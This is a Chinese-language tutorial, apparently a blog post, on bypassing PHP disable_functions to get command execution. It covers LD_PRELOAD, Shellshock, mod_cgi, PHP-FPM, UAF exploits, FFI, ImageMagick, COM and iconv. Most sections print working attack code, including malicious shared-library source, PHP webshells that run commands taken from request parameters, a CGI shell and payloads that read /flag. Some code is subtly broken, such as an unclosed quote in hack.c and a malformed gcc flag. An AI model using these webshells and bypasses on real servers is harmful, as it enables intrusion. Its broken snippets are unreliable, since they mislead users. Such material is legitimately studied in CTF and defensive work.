WEB安全--RCE--disable_function bypass

一、前言

当disable_function把命令执行函数禁用掉了之后,我们该如何破局呢?

除了寻找寻找未禁用的漏网函数,还可以通过下面的方式进行RCE的利用。

二、LD_PRELOAD

原理

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库;其中.so文件为linux中的动态链接库文件。

以mail()为例,执行PHP中的mail()函数时,该函数会启用Linux系统中的/usr/sbin/sendmail服务作为子进程,而sendmail服务又会调用getuid()这一个系统函数。

如果我们用putenv()设置环境变量LD_PRELOAD,让LD_PRELOAD在mail()函数执行并启用sendmail子进程时优先加载我们的hack.so文件(其内容是我们恶意构造的getuid()函数),此时sendmail服务会认为该函数getuid()方法是系统中的函数并执行我们的payload

也就是说,我们是通过LD_PRELOAD加载hack.so文件达到劫持系统函数getuid()执行命令的,这是Linux的系统命令,不在disable_function的限制中

条件

PHP启用了putenv()

至少能使用其中一个:mail()、error_log()、imap_mail()

系统未禁用LD_PRELOAD

有权限写入文件

系统装有且未禁用sendmail服务

示例

编写文件hack.c

cpp 复制代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("whoami");
}
int getuid()
{
        if(getenv("LD_PRELOAD)==NULL)
            { 
            return 0;
            }
        unsetenv("LD_PRELOAD");
        payload();
}

将hack.c文件编译为hack.so文件

cpp 复制代码
gcc -c fPIC hack.c -o hack && gcc --share hack -o hack.so

编写文件mail.php

php 复制代码
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail('','','','');
?>

访问x.x.x.x/mail.php

执行命令whoami

延伸

mail被禁用:

可以用error_log()、imap_mail()替代

系统未装有sendmail:

可以使用__attribute__ ((constructor))

方式:

编写文件hack.c的内容

cpp 复制代码
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("whoami");
}

其原理是:

在c语言中,构造函数__attribute__ ((constructor))会在main()函数先一步执行

所以在我们执行mail()函数后,无论系统中有没有sendmail服务,mail()也会建立进程;

而在检测sendmail服务之前,系统就已经通过LD_PRELOAD预先加载好了共享对象,执行whoami命令。

三、ShellShock (CVE-2014-6271)

原理

Bash 在处理特定格式的环境变量时,会执行变量值中恶意拼接的函数体之后的命令

在Bash中,我们可以通过这种方式定义函数并调用:

bash 复制代码
export myfunc='() { echo hello; }'

bash -c 'myfunc'

但是在某些老旧系统中,会出现这种情况:

bash 复制代码
export myfunc='() { :; }; echo HACKED'
//输出
HACKED

用;可以使定义函数后面的打印语句执行,对于环境变量的效果也相同,所以我们可以利用这种方式进行劫持:

bash 复制代码
putenv('HACKME=() { :; }; /bin/bash -c "id > /tmp/hacked.txt"');
mail('to@xxx.com', 'subj', 'msg');
  • 你设置了一个"伪函数"的环境变量

  • mail() 会调用 sendmail

  • sendmail 如果内部用 Bash(大概率会)

  • 那 Bash 就会自动执行你环境变量里的 /bin/bash -c "id",你就绕过了PHP的限制,执行了命令

条件

PHP启用了putenv()

至少能使用其中一个:mail()、error_log()、imap_mail()

Shell默认是Bash

/bin/bash存在CVE-2014-6271漏洞

示例

bash 复制代码
<?php
function runcmd($c){
  $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
    if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
      $tmp=tempnam(sys_get_temp_dir(), 'as');
      putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
      if (function_exists('error_log')) {
        error_log("a", 1);
      }else{
        mail("a@127.0.0.1", "", "", "-bv");
      }
    }else{
      print("Not vuln (not bash)\n");
    }
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output!=""){
      print($output);
    }else{
      print("No output, or not vuln.");
    }
  }else{
    print("不满足使用条件");
  }
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

四、Apache Mod CGI

原理

CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程

所以使用linux shell脚本编写的cgi程序便可以执行系统命令

Mod_CGI指服务器处理的代码文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端

通过这个特性再加上.htaccess的文件后缀映射,就能够实现系统命令执行

条件

目录有写权限

Apache使用Apache_mod_php

Web目录给了AllowOverride权限

启用了mod_cgi

示例

新建.htaccess文件:

bash 复制代码
Options +ExecCGI
AddHandler cgi-script .abc

新建shell.abc文件:

bash 复制代码
#!/bin/bash
echo&whoami

将两者上传至Apache服务器,最后访问shell.abc即可

五、PHP-FPM

原理

php-fpm是一个fast-cgi协议解析器,负责按照fast-cgi的协议将TCP流解析成真正的数据

php 复制代码
www.example.com/index.php
        |
        |
      nginx
        |
        |
加载nginx的fast-cgi模块
        |
        |
fast-cgi对根据fast-cgi协议对请求包进行封装,然后将封装好的包发给php-fpm
        |
        |
php-fpm据fast-cgi协议将TCP流解析成真正的数据,调用php文件
        |
        |
php-fpm处理完请求,返回给nginx
        |
        |
nginx将结果通过http返回给浏览器

中间件不能直接解析动态php代码文件,其会将数据流封装好交给php-fpm解析

php-fpm未授权访问"通常指的是 PHP-FPM(FastCGI Process Manager)接口未加保护,对外暴露,从而被攻击者利用来执行任意 PHP 代码。这种情况可能导致严重的安全风险,例如远程代码执行(RCE)

利用PHP-FPM的未授权访问,提前加载.so文件,执行.so文件中的系统命令,新生成一个PHP进程:

php 复制代码
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;

该进程不加载php.ini文件,绕过disable_function

条件

Linux操作系统

PHP-FPM

存在可写目录,需要上传.so文件

示例

六、Json Serializer UAF/GC UAF/Backtrace UAF

Json Serializer UAF

写入PHP脚本文件,访问文件位置,POST传参执行命令

利用json序列化中的堆栈溢出触发,借以绕过disable_function,影响范围(PHP版本):

7.1 - all versions to date

7.2 < 7.2.19

7.3 < 7.3.6

脚本:

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

GC UAF

写入PHP脚本文件,访问文件位置,POST传参执行命令

利用PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令,影响范围(PHP版本):

7.0 - 7.3

脚本:

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

Backtrace UAF

写入PHP脚本文件,访问文件位置,POST传参执行命令

影响范围(PHP版本):

7.0 - 7.4

脚本:

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

七、PHP7.4 FFI扩展

原理

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术

PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术

FFI的使用只需声明和调用两步

因为是调用c语言的函数进行命令执行,所以不受PHP disable_function的限制

条件

PHP version > 7.4

开启了FFI拓展:ffi.enable=true

Linux操作系统

示例

上传PHP文件:

php 复制代码
<?php
$ffi = FFI::cdef("int system(const char *command);");#申明ffi,调用system函数
$ffi->system("tac /flag > /tmp/111");#执行readflag中的命令读取flag
echo file_get_contents("/tmp/111");
@unlink("/tmp/111");#删除111文件

访问文件,其中利用c语言的system函数执行系统命令

八、ImageMagick(CVE-2016-3714)

原理

ImageMagick:图片处理程序

php 复制代码
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

在第三行填充图片时,正常只读取图片位置链接

但是我们用 | 符号并在后面填写命令,| 后面的系统命令也会被执行

条件

目标服务器安装了漏洞版本的imagemagic(<=3.3.0)

安装了php-imagick扩展,并且在php.ini中启用

PHP version >= 5.4

九、Windows COM组件

原理

COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术,以WIN32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行代码组成。

加载这个组件后,上传能执行系统命令的利用脚本(可以通过已有的webshell上传,也可以像上传shell一样直接上传)

php 复制代码
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

条件

Windows系统

PHP开启COM服务

有写入文件权限

十、iconv

原理

字符集转换漏洞

php 复制代码
<?php    
putenv("GCONV_PATH=gconv-modules文件目录");    
iconv("自定义字符集名", "UTF-8", "whatever");

条件

PHP安装了iconv相关模块

有写入文件权限

示例

上传gconv-modules文件到/tmp目录下

php 复制代码
module  HACK   
module  INTERNAL    HACK 

编写hack.c文件并用gcc编译成hack.so文件,将hack.so文件也上传到/tmp目录下

cpp 复制代码
#include <stdio.h> 
#include <stdlib.h> 
​
void gconv() {} 
​
void gconv_init() {  
system("cat /flag > /tmp/flag"); 
}

在/var/www/html下面上传flag.php文件,访问文件获得flag

cpp 复制代码
<?php 
putenv("GCONV_PATH=/tmp/");    
iconv("hack", "UTF-8", "whatever");
相关推荐
嘉里蓝海7 小时前
我在嘉顺达蓝海的安全日常
安全
2301_780789668 小时前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
嘉里蓝海8 小时前
我在嘉顺达蓝海的安全坚守
安全
你的人类朋友10 小时前
认识一下Bcrypt哈希算法
后端·安全·程序员
Coovally AI模型快速验证14 小时前
基于YOLO集成模型的无人机多光谱风电部件缺陷检测
人工智能·安全·yolo·目标跟踪·无人机
夏天的风9916 小时前
本地部署PLM系统,如何用 ZeroNews 实现远程访问?
安全·远程工作
wanhengidc16 小时前
高性价比云手机挑选指南
运维·网络·安全·游戏·智能手机
拉法豆粉18 小时前
三方软件测试可移植性测试哪些内容
数据库·安全
午夜游鱼20 小时前
Go 泛型实战:一行代码封装 sync.Pool,性能与安全兼得
开发语言·安全·golang
在安全厂商修设备20 小时前
XSS 跨站脚本攻击剖析与防御 - 第一章:XSS 初探
web安全·网络安全·xss